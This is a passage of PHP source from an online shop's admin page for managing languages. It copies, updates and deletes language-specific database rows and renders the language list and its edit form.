$t_sql = 'SELECT * FROM ' . TABLE_SHIPPING_STATUS . ' WHERE language_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_result_array['language_id'] = $insert_id;
xtc_db_perform(TABLE_SHIPPING_STATUS, $t_result_array);
}
// coupons description
$t_sql = 'SELECT * FROM ' . TABLE_COUPONS_DESCRIPTION . ' WHERE language_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_result_array['language_id'] = $insert_id;
xtc_db_perform(TABLE_COUPONS_DESCRIPTION, $t_result_array);
}
// feature description
$t_sql = 'SELECT * FROM feature_description WHERE language_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_result_array['language_id'] = $insert_id;
xtc_db_perform('feature_description', $t_result_array);
}
// feature value description
$t_sql = 'SELECT * FROM feature_value_description WHERE language_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_result_array['language_id'] = $insert_id;
xtc_db_perform('feature_value_description', $t_result_array);
}
// GX-Customizer elements values
$t_sql = 'SELECT * FROM gm_gprint_elements_values WHERE languages_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
unset($t_result_array['gm_gprint_elements_values_id']);
$t_result_array['languages_id'] = $insert_id;
xtc_db_perform('gm_gprint_elements_values', $t_result_array);
}
// GX-Customizer surfaces description
$t_sql = 'SELECT * FROM gm_gprint_surfaces_description WHERE languages_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_result_array['languages_id'] = $insert_id;
xtc_db_perform('gm_gprint_surfaces_description', $t_result_array);
}
// products vpe
$t_sql = 'SELECT * FROM ' . TABLE_PRODUCTS_VPE . ' WHERE language_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_result_array['language_id'] = $insert_id;
xtc_db_perform(TABLE_PRODUCTS_VPE, $t_result_array);
}
// properties description
$t_sql = 'SELECT * FROM properties_description WHERE language_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
unset($t_result_array['properties_description_id']);
$t_result_array['language_id'] = $insert_id;
xtc_db_perform('properties_description', $t_result_array);
}
// properties values description
$t_sql = 'SELECT * FROM properties_values_description WHERE language_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
unset($t_result_array['properties_values_description_id']);
$t_result_array['language_id'] = $insert_id;
xtc_db_perform('properties_values_description', $t_result_array);
}
// quantity unit description
$t_sql = 'SELECT * FROM quantity_unit_description WHERE language_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_result_array['language_id'] = $insert_id;
xtc_db_perform('quantity_unit_description', $t_result_array);
}
// additional field descriptions
$t_sql = 'SELECT * FROM additional_field_descriptions WHERE language_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_result_array['language_id'] = $insert_id;
xtc_db_perform('additional_field_descriptions', $t_result_array);
}
// additional field value descriptions
$t_sql = 'SELECT * FROM additional_field_value_descriptions WHERE language_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_result_array['language_id'] = $insert_id;
xtc_db_perform('additional_field_value_descriptions', $t_result_array);
}
// export types
$t_sql = 'SELECT * FROM export_types WHERE language_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_result_array['language_id'] = $insert_id;
xtc_db_perform('export_types', $t_result_array);
}
// product's image alt-texts
$t_sql = 'SELECT * FROM gm_prd_img_alt WHERE language_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
unset($t_result_array['img_alt_id']);
$t_result_array['language_id'] = $insert_id;
xtc_db_perform('gm_prd_img_alt', $t_result_array);
}
// product's content
$t_sql = 'SELECT * FROM ' . TABLE_PRODUCTS_CONTENT . ' WHERE languages_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
unset($t_result_array['content_id']);
$t_result_array['languages_id'] = $insert_id;
xtc_db_perform(TABLE_PRODUCTS_CONTENT, $t_result_array);
}
// shop notices
$t_sql = 'SELECT * FROM shop_notice_contents WHERE language_id = ' . $c_source_language_id;
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_result_array['language_id'] = $insert_id;
xtc_db_perform('shop_notice_contents', $t_result_array);
}
// product type descriptions
$t_sql = 'SELECT * FROM `product_type_descriptions` WHERE language_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_result_array['language_id'] = $insert_id;
xtc_db_perform('product_type_descriptions', $t_result_array);
}
// EXTENDER START
$coo_admin_language_extender_component = MainFactory::create_object('AdminLanguageExtenderComponent');
$coo_admin_language_extender_component->set_data('GET', $_GET);
$coo_admin_language_extender_component->set_data('POST', $_POST);
if(isset($insert_id) && empty($insert_id) == false)
{
$coo_admin_language_extender_component->set_data('insert_id', $insert_id);
}
$coo_admin_language_extender_component->proceed();
// EXTENDER END
$coo_cache_control = MainFactory::create_object('CacheControl');
$coo_cache_control->rebuild_products_properties_index();
$coo_cache_control->clear_data_cache();
xtc_redirect(xtc_href_link(FILENAME_LANGUAGES, 'page=' . ($_GET['page'] ?? null) . '&lID=' . $insert_id));
}
break;
case 'save':
if($_SESSION['coo_page_token']->is_valid($_POST['page_token']))
{
$lID = xtc_db_prepare_input($_GET['lID']);
$name = xtc_db_prepare_input($_POST['name']);
$code = xtc_db_prepare_input($_POST['code']);
$image = xtc_db_prepare_input($_POST['image']);
$directory = xtc_db_prepare_input($_POST['directory']);
$sort_order = xtc_db_prepare_input($_POST['sort_order']);
$charset = xtc_db_prepare_input($_POST['charset']);
$date_format = xtc_db_prepare_input($_POST['date_format']);
$date_format_long = xtc_db_prepare_input($_POST['date_format_long']);
$date_format_short = xtc_db_prepare_input($_POST['date_format_short']);
$date_time_format = xtc_db_prepare_input($_POST['date_time_format']);
$dob_format_string = xtc_db_prepare_input($_POST['dob_format_string']);
$html_params = xtc_db_prepare_input($_POST['html_params']);
$language_currency = xtc_db_prepare_input($_POST['language_currency']);
$php_date_time_format = xtc_db_prepare_input($_POST['php_date_time_format']);
xtc_db_query("
UPDATE `" . TABLE_LANGUAGES . "`
SET `name` = '" . xtc_db_input($name) . "',
`code` = '" . xtc_db_input($code) . "',
`image` = '" . xtc_db_input($image) . "',
`directory` = '" . xtc_db_input($directory) . "',
`sort_order` = '" . xtc_db_input($sort_order) . "',
`language_charset` = '" . xtc_db_input($charset) . "',
`date_format` = '" . xtc_db_input($date_format) . "',
`date_format_long` = '" . xtc_db_input($date_format_long) . "',
`date_format_short` = '" . xtc_db_input($date_format_short) . "',
`date_time_format` = '" . xtc_db_input($date_time_format) . "',
`dob_format_string` = '" . xtc_db_input($dob_format_string) . "',
`html_params` = '" . xtc_db_input($html_params) . "',
`language_currency` = '" . xtc_db_input($language_currency) . "',
`php_date_time_format` = '" . xtc_db_input($php_date_time_format) . "'
WHERE languages_id = '" . xtc_db_input($lID) . "'
");
if($_POST['default'] == 'on')
{
xtc_db_query("update `gx_configurations` set `value` = '" . xtc_db_input($code) . "' where `key` = 'configuration/DEFAULT_LANGUAGE'");
}
// EXTENDER START
$coo_admin_language_extender_component = MainFactory::create_object('AdminLanguageExtenderComponent');
$coo_admin_language_extender_component->set_data('GET', $_GET);
$coo_admin_language_extender_component->set_data('POST', $_POST);
$coo_admin_language_extender_component->proceed();
// EXTENDER END
xtc_redirect(xtc_href_link(FILENAME_LANGUAGES, 'page=' . $_GET['page'] . '&lID=' . $_GET['lID']));
}
break;
case 'deleteconfirm':
if($_SESSION['coo_page_token']->is_valid($_GET['page_token']))
{
$lID = xtc_db_prepare_input($_GET['lID']);
$lng_query = xtc_db_query("select languages_id from " . TABLE_LANGUAGES . " where code = '" . DEFAULT_CURRENCY . "'");
$lng = xtc_db_fetch_array($lng_query);
if(isset($lng) && $lng['languages_id'] == $lID)
{
xtc_db_query("update `gx_configurations` set `value` = '' where `key` = 'configuration/DEFAULT_CURRENCY'");
}
xtc_db_query("delete from " . TABLE_CATEGORIES_DESCRIPTION . " where language_id = '" . xtc_db_input($lID) . "'");
xtc_db_query("delete from " . TABLE_PRODUCTS_DESCRIPTION . " where language_id = '" . xtc_db_input($lID) . "'");
xtc_db_query("delete from " . TABLE_PRODUCTS_OPTIONS . " where language_id = '" . xtc_db_input($lID) . "'");
xtc_db_query("delete from " . TABLE_PRODUCTS_OPTIONS_VALUES . " where language_id = '" . xtc_db_input($lID) . "'");
xtc_db_query("delete from " . TABLE_MANUFACTURERS_INFO . " where languages_id = '" . xtc_db_input($lID) . "'");
xtc_db_query("delete from " . TABLE_ORDERS_STATUS . " where language_id = '" . xtc_db_input($lID) . "'");
xtc_db_query("delete from " . TABLE_LANGUAGES . " where languages_id = '" . xtc_db_input($lID) . "'");
xtc_db_query("delete from " . TABLE_CONTENT_MANAGER . " where languages_id = '" . xtc_db_input($lID) . "'");
xtc_db_query("delete from " . TABLE_PRODUCTS_CONTENT . " where languages_id = '" . xtc_db_input($lID) . "'");
xtc_db_query("delete from " . TABLE_CUSTOMERS_STATUS . " where language_id = '" . xtc_db_input($lID) . "'");
xtc_db_query('DELETE FROM additional_field_descriptions WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM additional_field_value_descriptions WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM ' . TABLE_COUPONS_DESCRIPTION . ' WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM export_types WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM feature_description WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM feature_value_description WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM gm_gprint_elements_values WHERE languages_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM gm_gprint_surfaces_description WHERE languages_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM infobox_messages_description WHERE languages_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM products_properties_index WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM ' . TABLE_PRODUCTS_VPE . ' WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM ' . TABLE_PRODUCTS_XSELL_GROUPS . ' WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM properties_description WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM properties_values_description WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM quantity_unit_description WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM ' . TABLE_REVIEWS_DESCRIPTION . ' WHERE languages_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM ' . TABLE_SHIPPING_STATUS . ' WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM language_phrases_cache WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM language_phrases_edited WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM email_templates_cache WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM email_templates_edited WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM shop_notice_contents WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM shop_notice_job_contents WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM url_rewrites WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM product_type_descriptions WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM admin_access_group_descriptions WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM admin_access_role_descriptions WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM parcel_services_description WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM product_content_descriptions WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM gm_prd_img_alt WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM gx_lang_configurations WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM content_manager_history WHERE languages_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM cookie_consent_panel_purposes WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM export_schemes WHERE languages_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM export_types WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM google_export_availability WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM google_export_condition WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM product_image_list_image_text WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM shipping_and_payment_matrix WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM slide_images WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM slides WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('DELETE FROM static_seo_url_contents WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('UPDATE agreements SET language_id = 0 WHERE language_id = "' . (int)$lID . '"');
xtc_db_query('UPDATE orders_parcel_tracking_codes SET language_id = 0 WHERE language_id = "' . (int)$lID
. '"');
// EXTENDER START
$coo_admin_language_extender_component = MainFactory::create_object('AdminLanguageExtenderComponent');
$coo_admin_language_extender_component->set_data('GET', $_GET);
$coo_admin_language_extender_component->set_data('POST', $_POST);
$coo_admin_language_extender_component->proceed();
// EXTENDER END
$coo_cache_control = MainFactory::create_object('CacheControl');
$coo_cache_control->rebuild_products_properties_index();
$coo_cache_control->clear_data_cache();
xtc_redirect(xtc_href_link(FILENAME_LANGUAGES, 'page=' . $_GET['page']));
}
break;
case 'delete':
$lID = xtc_db_prepare_input($_GET['lID']);
$lng_query = xtc_db_query("select code from " . TABLE_LANGUAGES . " where languages_id = '" . xtc_db_input($lID) . "'");
$lng = xtc_db_fetch_array($lng_query);
$remove_language = true;
if($lng['code'] == DEFAULT_LANGUAGE)
{
$remove_language = false;
$GLOBALS['messageStack']->add(ERROR_REMOVE_DEFAULT_LANGUAGE, 'error');
}
break;
}
$messageStack->add(HEADING_WARNING, 'warning');
$adminMenuLang = MainFactory::create('LanguageTextManager', 'admin_menu', $_SESSION['languages_id']);
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html <?php echo HTML_PARAMS; ?>>
<head>
<meta http-equiv="x-ua-compatible" content="IE=edge">
<meta http-equiv="Content-Type" content="text/html; charset=<?php echo $_SESSION['language_charset']; ?>">
<title><?php echo TITLE; ?></title>
<link rel="stylesheet" type="text/css" href="html/assets/styles/legacy/stylesheet.css">
<script type="text/javascript" src="html/assets/javascript/legacy/gm/general.js"></script>
</head>
<body marginwidth="0" marginheight="0" topmargin="0" bottommargin="0" leftmargin="0" rightmargin="0" bgcolor="#FFFFFF" onload="SetFocus();">
<!-- header //-->
<?php require(DIR_WS_INCLUDES . 'header.php'); ?>
<!-- header_eof //-->
<!-- body //-->
<table border="0" width="100%" cellspacing="2" cellpadding="2">
<tr>
<td class="columnLeft2" width="<?php echo BOX_WIDTH; ?>" valign="top">
<table border="0" width="<?php echo BOX_WIDTH; ?>" cellspacing="1" cellpadding="1" class="columnLeft">
<!-- left_navigation //-->
<?php require(DIR_WS_INCLUDES . 'column_left.php'); ?>
<!-- left_navigation_eof //-->
</table>
</td>
<!-- body_text //-->
<td class="boxCenter" width="100%" valign="top">
<div class="gx-container create-new-wrapper left-table">
<div class="create-new-container pull-right">
<a href="<?php echo xtc_href_link(FILENAME_LANGUAGES, 'page=' . ($_GET['page'] ?? '') . '&lID=' . ($lInfo->languages_id ?? '') . '&action=new') ?>" class="btn btn-success"><i class="fa fa-plus"></i> <?php echo $GLOBALS['languageTextManager']->get_text('create', 'buttons'); ?></a>
</div>
</div>
<table border="0" width="100%" cellspacing="0" cellpadding="2">
<tr>
<td width="100%">
<div class="pageHeading" style="background-image:url(html/assets/images/legacy/gm_icons/land.png)">
<?php echo $adminMenuLang->get_text('BOX_HEADING_ZONE', 'admin_menu'); ?>
</div>
</td>
</tr>
<tr>
<td>
<table>
<tr>
<td class="dataTableHeadingContent">
<a href="zones.php">
<?php echo $adminMenuLang->get_text('BOX_ZONES'); ?>
</a>
</td>
<td class="dataTableHeadingContent">
<a href="countries.php">
<?php echo $adminMenuLang->get_text('BOX_COUNTRIES'); ?>
</a>
</td>
<td class="dataTableHeadingContent">
<?php echo $adminMenuLang->get_text('BOX_LANGUAGES'); ?>
</td>
<td class="dataTableHeadingContent">
<a href="tax_classes.php">
<?php echo $adminMenuLang->get_text('BOX_TAX_CLASSES'); ?>
</a>
</td>
<td class="dataTableHeadingContent">
<a href="tax_rates.php">
<?php echo $adminMenuLang->get_text('BOX_TAX_RATES'); ?>
</a>
</td>
<td class="dataTableHeadingContent">
<a href="geo_zones.php">
<?php echo $adminMenuLang->get_text('BOX_GEO_ZONES'); ?>
</a>
</td>
<td class="dataTableHeadingContent">
<a href="currencies.php">
<?php echo $adminMenuLang->get_text('BOX_CURRENCIES'); ?>
</a>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td>
<div class="gx-container left-table">
<form action="<?php xtc_href_link('languages.php'); ?>" method="post">
<table class="gx-configuration" data-gx-widget="checkbox">
<tr>
<th class="dataTableContent_gm"><?php echo GM_LANGUAGE_CONFIGURATION_TITLE; ?></th>
<th class="dataTableContent_gm"></th>
</tr>
<tr>
<td class="dataTableContent_gm configuration-label">
<?php
echo GM_LANGUAGE_CONFIGURATION_TEXT;
?>
</td>
<td>
<input type="checkbox" name="gm_check_browser_language" value="1" <?php echo $t_gm_browser_language_checked; ?> />
</td>
</tr>
</table>
<div class="add-margin-top-24">
<input style="margin-left:1px" type="submit" name="gm_save" class="btn btn-primary pull-right" onClick="this.blur();" value="<?php echo BUTTON_SAVE; ?>" />
</div>
</form>
</div>
<?php
$fileList = array();
$fileList[] = 'lang/%DIR%/admin/init.inc.php';
$fileList[] = 'lang/%DIR%/admin/images/icon.gif';
$fileList[] = 'lang/%DIR%/flag.png';
$fileList[] = 'lang/%DIR%/init.inc.php';
$fileList[] = 'lang/%DIR%/%IMAGE%';
$fileList[] = 'lang/%DIR%/original_mail_templates';
$fileList[] = 'lang/%DIR%/original_sections';
$fileList[] = 'lang/%DIR%/user_mail_templates';
$fileList[] = 'lang/%DIR%/user_sections';
$errorsArray = array();
$languages_query_raw = 'SELECT * FROM `languages` ORDER BY sort_order';
$languagesResult = xtc_db_query($languages_query_raw);
while($row = xtc_db_fetch_array($languagesResult))
{
foreach($fileList as $file)
{
$file = str_replace('%DIR%', $row['directory'], $file);
$file = str_replace('%IMAGE%', $row['image'], $file);
if(file_exists(DIR_FS_CATALOG . $file) == false)
{
$errorsArray[$row['name']][] = $file;
}
}
}
if(count($errorsArray) > 0)
{
?>
<div class="gx-container">
<table class="gx-configuration" data-gx-widget="checkbox">
<tr>
<th class="dataTableContent_gm"><?php echo HEADLINE_INCOMPLETE_LANGUAGES_HINT; ?></th>
<th class="dataTableContent_gm"></th>
</tr>
<tr>
<td class="dataTableContent_gm configuration-label">
<?php echo TEXT_INCOMPLETE_LANGUAGES_HINT; ?>
</td>
<td class="dataTableContent_gm">
<?php
foreach($errorsArray as $languageName => $errors)
{
echo '<b>' . $languageName . ':</b>';
foreach($errors as $error)
{
echo '<br />' . $error;
}
echo '<br /><br />';
}
?>
</td>
</tr>
</table>
<br />
<br />
</div>
<?php
}
?>
<table border="0" width="100%" cellspacing="0" cellpadding="0">
<tr>
<td valign="top">
<table class="gx-modules-table left-table" border="0" width="100%" cellspacing="0" cellpadding="2">
<tr class="dataTableHeadingRow">
<td class="dataTableHeadingContent"><?= TABLE_HEADING_LANGUAGE_NAME; ?></td>
<td class="dataTableHeadingContent"><?= TABLE_HEADING_LANGUAGE_CODE; ?></td>
<td class="dataTableHeadingContent"><?= TABLE_HEADING_STATUS; ?></td>
<td class="dataTableHeadingContent"><?= TABLE_HEADING_STATUS_ADMIN; ?></td>
<td class="dataTableHeadingContent"></td>
</tr>
<?php
$languages_split = new splitPageResults($_GET['page'], '20', $languages_query_raw, $languages_query_numrows);
$languages_query = xtc_db_query($languages_query_raw);
while($languages = xtc_db_fetch_array($languages_query))
{
if((empty($_GET['lID']) || $_GET['lID'] == $languages['languages_id']) && empty($lInfo) && substr($_GET['action'] ?? '', 0, 3) !== 'new')
{
$lInfo = new objectInfo($languages);
}
if((isset($lInfo) && is_object($lInfo)) && ($languages['languages_id'] == $lInfo->languages_id) && $lInfo->languages_id !== "1" && $lInfo->languages_id !== "2")
{
echo ' <tr class="dataTableRowSelected active" data-gx-extension="link" data-link-url="' . xtc_href_link(FILENAME_LANGUAGES, 'page=' . $_GET['page'] . '&lID=' . $lInfo->languages_id . '&action=edit') . '">' . "\n";
}
else
{
echo ' <tr class="dataTableRow" data-gx-extension="link" data-link-url="' . xtc_href_link(FILENAME_LANGUAGES, 'page=' . $_GET['page'] . '&lID=' . $languages['languages_id']) . '">' . "\n";
}
if(DEFAULT_LANGUAGE == $languages['code'])
{
echo ' <td class="dataTableContent">' . $languages['name'] . ' (' . TEXT_DEFAULT . ')</td>' . "\n";
}
else
{
echo ' <td class="dataTableContent">' . $languages['name'] . '</td>' . "\n";
}
?>
<td class="dataTableContent"><?php echo $languages['code']; ?></td>
<td class="dataTableContent">
<?php
if( array_key_exists($languages['name'], $errorsArray) == false
&& DEFAULT_LANGUAGE != $languages['code'])
{
$checked = $languages['status'] == '1' ? 'true' : 'false';
?>
<div data-gx-widget="checkbox"
data-checkbox-checked="<?php echo $checked ?>"
data-checkbox-on_url="<?php echo xtc_href_link(FILENAME_LANGUAGES, xtc_get_all_get_params(array('page', 'lID', 'action')) . 'action=setlflag&flag=1&page_token=' . $_SESSION['coo_page_token']->generate_token() . '&lID=' . $languages['languages_id']); ?>"
data-checkbox-off_url="<?php echo xtc_href_link(FILENAME_LANGUAGES, xtc_get_all_get_params(array('page', 'lID', 'action')) . 'action=setlflag&flag=0&page_token=' . $_SESSION['coo_page_token']->generate_token() . '&lID=' . $languages['languages_id']) ?>">
</div>
<?php
}
else if(DEFAULT_LANGUAGE == $languages['code'] && $languages['status'] == '1' && array_key_exists($languages['name'], $errorsArray) == false)
{
?>
<div data-gx-widget="checkbox">
<input type="checkbox" checked disabled />
</div>
<?php
}
else
{
?>
<div data-gx-widget="checkbox">
<input type="checkbox" disabled />
</div>
<?php
}
?>
</td>
<td class="dataTableContent">
<?php
if(array_key_exists($languages['name'], $errorsArray) === false
&& DEFAULT_LANGUAGE !== $languages['code']): ?>
<div data-gx-widget="checkbox"
data-checkbox-checked="<?= var_export((bool)$languages['status_admin'], true) ?>"
data-checkbox-on_url="<?= xtc_href_link(FILENAME_LANGUAGES,
xtc_get_all_get_params(['page', 'lID', 'action']) .
'action=setadminlflag&flag=1&page_token=' .
$_SESSION['coo_page_token']->generate_token() .
'&lID=' . $languages['languages_id']); ?>"
data-checkbox-off_url="<?= xtc_href_link(FILENAME_LANGUAGES,
xtc_get_all_get_params(['page', 'lID', 'action']) .
'action=setadminlflag&flag=0&page_token=' .
$_SESSION['coo_page_token']->generate_token() . '&lID=' .
$languages['languages_id']) ?>">
</div>
<?php elseif(DEFAULT_LANGUAGE === $languages['code'] && (string)$languages['status_admin'] === '1' && array_key_exists($languages['name'], $errorsArray) === false): ?>
<div data-gx-widget="checkbox">
<input type="checkbox" checked disabled />
</div>
<?php else: ?>
<div data-gx-widget="checkbox">
<input type="checkbox" disabled />
</div>
<?php endif ?>
</td>
<td class="dataTableContent"></td>
</tr>
<?php
}
?>
</table>
<table class="gx-container paginator left-table table-paginator">
<tr>
<td class="pagination-control">
<?php echo $languages_split->display_count($languages_query_numrows,
'20', $_GET['page'],
TEXT_DISPLAY_NUMBER_OF_LANGUAGES); ?>
<span class="page-number-information">
<?php echo $languages_split->display_links($languages_query_numrows,
'20', MAX_DISPLAY_PAGE_LINKS,
$_GET['page']); ?>
</span>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
<!-- body_text_eof //-->
</tr>
</table>
<!-- body_eof //-->
<!-- footer //-->
<?php require(DIR_WS_INCLUDES . 'footer.php'); ?>
<!-- footer_eof //-->
<div class="hidden">
<?php
$heading = array();
$contents = array();
$buttons = '';
$formIsEditable = false;
$formAction = '';
$formMethod = 'post';
$formAttributes = array();
switch($_GET['action'] ?? null)
{
case 'new':
$formAction = xtc_href_link(FILENAME_LANGUAGES, 'action=copy');
$formIsEditable = true;
$buttons = '<input type="submit" class="btn btn-primary" onClick="this.blur();" value="' . BUTTON_CREATE . '"/>';
$buttons .= '<a class="btn" onClick="this.blur();" href="' . xtc_href_link(FILENAME_LANGUAGES, 'page=' . $_GET['page'] . '&lID=' . $_GET['lID']) . '">' . BUTTON_CANCEL . '</a>';
$heading[] = array('text' => '<b>' . TEXT_INFO_HEADING_NEW_LANGUAGE . '</b>');
$contents[] = array('text' => TEXT_INFO_INSERT_INTRO);
$contents[] = array('text' => '<span class="options-title">' . TEXT_MODE_LANGUAGE . '</span>');
$t_mode_selection_html = xtc_draw_radio_field('mode', 'insert') . TEXT_MODE_NEW_LANGUAGE . '<br />' . xtc_draw_radio_field('mode', 'copy', true) . TEXT_MODE_COPY_LANGUAGE;
$t_mode_selection_html .= '<script type="text/javascript">
$(document).ready(function()
{
$(\'#configuration-box-form input[type="radio"]\').change(function()
{
if($(this).val() == "insert" && $(this).prop("checked") == true)
{
$("#configuration-box-form").attr("action", $("#configuration-box-form").attr("action").replace("action=copy", "action=insert"));
}
else if($(this).val() == "copy" && $(this).prop("checked") == true)
{
$("#configuration-box-form").attr("action", $("#configuration-box-form").attr("action").replace("action=insert", "action=copy"));
}
});
});
</script>';
$contents[] = array('text' => $t_mode_selection_html);
$languages_query_raw = "select languages_id, name, code, image, directory, sort_order,language_charset, status from " . TABLE_LANGUAGES . " order by sort_order";
$languages_query = xtc_db_query($languages_query_raw);
$language_select_array = array();
while($language = xtc_db_fetch_array($languages_query))
{
$language_select_array[] = array('id' => $language['languages_id'], 'text' => $language['name']);
}
$directoryTooltip = '<span data-gx-widget="tooltip_icon" data-tooltip_icon-type="info">
' . TEXT_INFO_LANGUAGE_DIRECTORY_INFO . '
</span>';
$contents[] = array('text' => '<span class="options-title">' . TEXT_INFO_LANGUAGE_TEMPLATE . '</span>' . xtc_draw_pull_down_menu('ref_language_id', $language_select_array));
$contents[] = array('text' => '<span class="options-title">' . TEXT_INFO_LANGUAGE_NAME . '</span>' . xtc_draw_input_field('name', '', 'required'));
$contents[] = array('text' => '<span class="options-title">' . TEXT_INFO_LANGUAGE_CODE . '</span>' . xtc_draw_input_field('code', '', 'required'));
$contents[] = array('text' => '<span class="options-title">' . TEXT_INFO_LANGUAGE_CHARSET . '</span>' . xtc_draw_input_field('charset', '', 'required'));
$contents[] = array('text' => '<span class="options-title">' . TEXT_INFO_LANGUAGE_IMAGE . '</span>' . xtc_draw_input_field('image', 'icon.gif', 'required'));
$contents[] = array('text' => '<span class="options-title">' . TEXT_INFO_LANGUAGE_DIRECTORY . $directoryTooltip . '</span>' . xtc_draw_input_field('directory', '', 'required pattern="[A-Za-z]+" title="' . TEXT_INFO_LANGUAGE_DIRECTORY_INFO . '"'));
$contents[] = array('text' => '<span class="options-title">' . TEXT_INFO_LANGUAGE_SORT_ORDER . '</span>' . xtc_draw_input_field('sort_order', '', 'required'));
$contents[] = array('text' => '<span class="options-title">' . TEXT_SET_DEFAULT . '</span><div class="control-group" data-gx-widget="checkbox">' . xtc_draw_checkbox_field('default', 'on') . '</div>');
$contents[] = array('text' => '<span class="options-title">' . TEXT_INFO_LANGUAGE_DATE_FORMAT . '</span>' . xtc_draw_input_field('date_format', '', 'required'));
$contents[] = array('text' => '<span class="options-title">' . TEXT_INFO_LANGUAGE_DATE_FORMAT_LONG . '</span>' . xtc_draw_input_field('date_format_long', '', 'required'));
$contents[] = array('text' => '<span class="options-title">' . TEXT_INFO_LANGUAGE_DATE_FORMAT_SHORT . '</span>' . xtc_draw_input_field('date_format_short', '', 'required'));
$contents[] = array('text' => '<span class="options-title">' . TEXT_INFO_LANGUAGE_DATE_TIME_FORMAT . '</span>' . xtc_draw_input_field('date_time_format', '', 'required'));
$contents[] = array('text' => '<span class="options-title">' . TEXT_INFO_LANGUAGE_DOB_FORMAT_STRING . '</span>' . xtc_draw_input_field('dob_format_string', '', 'required'));
$contents[] = array('text' => '<span class="options-title">' . TEXT_INFO_LANGUAGE_HTML_PARAMS . '</span>' . xtc_draw_input_field('html_params', '', 'required'));
$contents[] = array('text' => '<span class="options-title">' . TEXT_INFO_LANGUAGE_LANGUAGE_CURRENCY . '</span>' . xtc_draw_input_field('language_currency', '', 'required'));
